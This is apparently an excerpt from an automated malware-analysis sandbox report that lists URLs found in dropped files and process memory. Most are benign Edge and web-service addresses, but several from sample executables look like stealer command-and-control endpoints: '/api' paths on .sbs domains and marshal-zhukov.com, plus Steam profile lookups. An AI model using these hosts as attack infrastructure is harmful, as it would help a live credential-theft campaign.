Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr, HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_319.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_319.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_319.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_319.12.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogs-severz.sbs:443/apiY
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://gaana.com/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampo
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://leg-sate-boat.sbs/api
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowereH
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://m.kugou.com/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://m.vk.com/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.c
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.ch
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/E
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/U
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiM
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiT
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiile
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/l
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/osof_
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/s
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/t_
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs/
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs/8~
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs/api
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs/apie
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs/apil
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://motion-treesz.sbs:443/api
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXIDv10t
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://music.amazon.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://music.apple.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log3.16.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apiW
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://open.spotify.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_319.12.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.viX
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs/
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AC7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000027.00000002.2546839867.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs/api
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs/l
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs/pi
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs/z
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerful-avoids.sbs:443/api
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api~_52
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.c
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
